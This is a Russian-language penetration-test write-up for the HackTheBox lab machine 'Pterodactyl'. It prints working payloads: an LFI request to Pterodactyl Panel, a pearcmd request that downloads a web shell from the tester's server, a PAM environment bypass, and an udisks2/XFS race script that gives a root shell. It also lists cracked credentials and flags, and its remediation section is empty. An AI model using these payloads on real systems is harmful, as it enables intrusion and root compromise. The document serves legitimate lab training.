## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-V0IDW1RE-HTB-PTERODACTYL-WRITEUP
# Отчет о тесте на проникновение — HackTheBox: Pterodactyl
**Дата:** 8 апреля 2026 г.
**Цель:** Pterodactyl (HackTheBox)
**Сложность:** Средняя
**ОС:** Linux (openSUSE Leap 15.6)
**Тестер:** V0idW1re
* * *
## Краткое описание
Машина Pterodactyl на HackTheBox представила реалистичный сценарий атаки, включающий неправильно сконфигурированное веб-приложение и связанные уязвимости повышения привилегий. Начиная с неаутентифицированной позиции, тестер получил полный доступ root через логическую последовательность шагов эксплуатации. Цепочка атак включала неаутентифицированную уязвимость включения локального файла, творческое использование менеджера пакетов PHP для удаленного выполнения кода, извлечение и взлом учетных данных, а затем связывание двух публично раскрытых CVE для повышения привилегий от низкопривилегированного пользователя до root.
* * *
## Объем
Поле| Значение
---|---
IP цели| 10.129.25.223
Имя хоста| pterodactyl.htb
ОС| openSUSE Leap 15.6
Службы| SSH (22), HTTP (80)
Поддомены| panel.pterodactyl.htb
* * *
## Методология
Оценка проводилась в соответствии со стандартной методологией тестирования на проникновение:
1. Разведка и обнаружение служб
2. Анализ веб-приложений
3. Начальная эксплуатация
4. Постэксплуатация и горизонтальное перемещение
5. Повышение привилегий
6. Подтверждение компрометации
* * *
## Результаты
### Результат 1 — Неаутентифицированное включение локального файла (CVE-2025-49132)
**Серьезность:** Критичный
**Компонент:** Pterodactyl Panel v1.11.10 — конечная точка `/locales/locale.json`
**Описание:**
Конечная точка локали Pterodactyl Panel не очищала параметры запроса `locale` и `namespace`, что позволяло осуществлять обход каталогов. Поскольку приложение добавляло `.php` к значению `namespace` и загружало его через механизм include в PHP, атакующий мог заставить сервер загрузить и выполнить произвольные PHP-файлы в файловой системе.
**Эксплойт:**
root@kitploit:~
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
**Воздействие:**
Из `config/database.php` были извлечены учетные данные базы данных:
* Имя пользователя: `pterodactyl`
* Пароль: `PteraPanel`
* База данных: `panel`
Ключ приложения Laravel также был извлечен из `config/app.php`.
**Доказательство:**
root@kitploit:~
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
* * *
### Результат 2 — Удаленное выполнение кода через pearcmd.php
**Серьезность:** Критичный
**Компонент:** Установка PHP PEAR + LFI
**Описание:**
Имея примитив LFI, тестер использовал сценарий `pearcmd.php` менеджера пакетов PEAR. Когда в конфигурации PHP включен `register_argc_argv=On` (подтверждено через phpinfo), строка запроса интерпретируется pearcmd как аргументы командной строки. Команда `download` использовалась для загрузки PHP-веб-шелла с сервера атакующего и сохранения его в общедоступную веб-директорию панели.
**Эксплойт:**
root@kitploit:~
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
**Воздействие:**
PHP-веб-шелл был записан в `/var/www/pterodactyl/public/shell.php`, что обеспечило неаутентифицированное удаленное выполнение кода от пользователя `wwwrun`.
**Доказательство:**
root@kitploit:~
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
* * *
### Результат 3 — Учетные данные базы данных в открытом виде и слабое хранение паролей
**Серьезность:** Высокий
**Компонент:** База данных MySQL panel
**Описание:**
Используя RCE-шелл, тестер подключился к базе данных MySQL, используя учетные данные, полученные через LFI. Таблица `users` содержала хеши bcrypt для всех пользователей панели. Хеш пользователя `phileasfogg3` был взломан офлайн с использованием общего словаря.
**Эксплойт:**
root@kitploit:~
SELECT username, password FROM users;
**Взломанные учетные данные:**
* Имя пользователя: `phileasfogg3`
* Пароль: `!QAZ2wsx`
**Воздействие:**
Был получен доступ по SSH как `phileasfogg3`, и захвачен пользовательский флаг:
root@kitploit:~
user.txt: 916235b4261e70fdb090402c641a7808
* * *
### Результат 4 — Обход привилегий через переменные окружения PAM (CVE-2025-6018)
**Серьезность:** Высокий
**Компонент:** Конфигурация PAM — `pam_env.so` с `user_readenv=1`
**Описание:**
Конфигурация PAM на openSUSE Leap 15.6 загружает файл `~/.pam_environment` пользователя через `pam_env.so` с `user_readenv=1`. Устанавливая определенные переменные окружения в этом файле, непривилегированный пользователь SSH может обмануть `systemd-logind` и Polkit, заставив их считать сессию активной физической консольной сессией, тем самым получив привилегии `allow_active`.
**Эксплойт:**
root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
После повторного подключения по SSH сессия была распознана как `Active=yes`, что позволило непривилегированно вызывать методы D-Bus udisks2, которые обычно требуют физического присутствия на консоли.
**Доказательство:**
root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt
* * *
### Результат 5 — Состояние гонки при изменении размера XFS в udisks2 (CVE-2025-6019)
**Серьезность:** Критичный
**Компонент:** udisks2 v2.9.2 / libblockdev — `org.freedesktop.UDisks2.Filesystem.Resize`
**Описание:**
Когда udisks2 изменяет размер файловой системы XFS через libblockdev, он временно монтирует образ файловой системы в общедоступную директорию в `/tmp/blockdev.*` без флагов монтирования `nosuid` и `nodev`. Это создает короткое окно состояния гонки, в течение которого любой SUID-бинарный файл, присутствующий в образе, может быть выполнен с повышенным эффективным UID.
Атакующий с привилегиями Polkit `allow_active` (полученными через CVE-2025-6018) может:
1. Создать образ XFS, содержащий SUID-бинарный файл bash, принадлежащий root
2. Настроить loop-устройство через `udisksctl loop-setup`
3. Запустить изменение размера через D-Bus
4. Успеть выполнить SUID-бинарный файл во временном окне монтирования без nosuid
**Важное замечание о совместимости образов XFS:**
Образ XFS должен быть создан с определенными флагами для openSUSE Leap 15.6 (SP5/SP6):
root@kitploit:~
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
**Эксплойт:**
root@kitploit:~
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
**Доказательство:**
root@kitploit:~
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
**Root-флаг:**
root@kitploit:~
root.txt: d3a242011c18cb81f08ad80337330641
* * *
## Подтверждение доступа
Флаг| Значение
---|---
user.txt| 916235b4261e70fdb090402c641a7808
root.txt| d3a242011c18cb81f08ad80337330641
* * *
## Сводка повышения привилегий
root@kitploit:~
[Неаутентифицированный]
↓ CVE-2025-49132 (LFI)
[Учетные данные БД]
↓ pearcmd RCE
[Оболочка wwwrun]
↓ дампинг MySQL + взлом хеша
[SSH phileasfogg3]
↓ CVE-2025-6018 (обход PAM → allow_active)
↓ CVE-2025-6019 (гонка изменения размера XFS udisks2)
[root]
* * *
## Воздействие
Полная компрометация целевой системы. Атакующий с таким уровнем доступа может:
* Читать, изменять или удалять любые файлы на системе
* Устанавливать постоянные бэкдоры или вредоносное ПО
* Перемещаться на другие системы в сети
* Получить доступ ко всем хранимым учетным данным и конфиденциальным данным
* Нарушить работу или манипулировать размещенными службами
* * *
## Устранение
* * *
_Этот отчет был подготовлен в образовательных целях в рамках лабораторного упражнения HackTheBox. Все тестирование проводилось в легальной изолированной лабораторной среде._